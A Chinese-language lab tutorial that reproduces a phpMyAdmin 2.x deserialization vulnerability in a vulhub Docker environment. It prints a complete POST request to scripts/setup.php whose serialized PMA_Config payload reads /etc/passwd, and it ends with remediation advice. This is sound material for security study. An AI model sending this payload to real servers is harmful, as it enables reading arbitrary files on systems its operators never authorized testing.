漏洞简介
phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。虽然是很老的漏洞,但在内网大部分都是用着老版本,在外网存在的也为数不少。
影响版本:已知版本为 2.8.0.3、2.8.04
启动环境
cd /root/vulhub/phpmyadmin/WooYun-2016-199433
docker-compose up -d
环境启动后,直接在浏览器中访问http://192.168.0.107:8080,即可看到phpmyadmin的首页。因为没有连接数据库,所以此时会报错,但我们这个漏洞的利用与数据库无关,所以忽略。
漏洞复现
访问目录scripts/setup.php
刷新页面抓包
直接将上面数据包替换为下面代码:
POST /scripts/setup.php HTTP/1.1
Host: 192.168.0.107:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
可以看到成功读取/etc/passwd敏感文件
关闭环境
docker-compose down
修复建议
尽快升级到最新版 将setup.php中28行中的"configuration"改为传入其他值 直接删除scripts目录,防止被恶意攻击。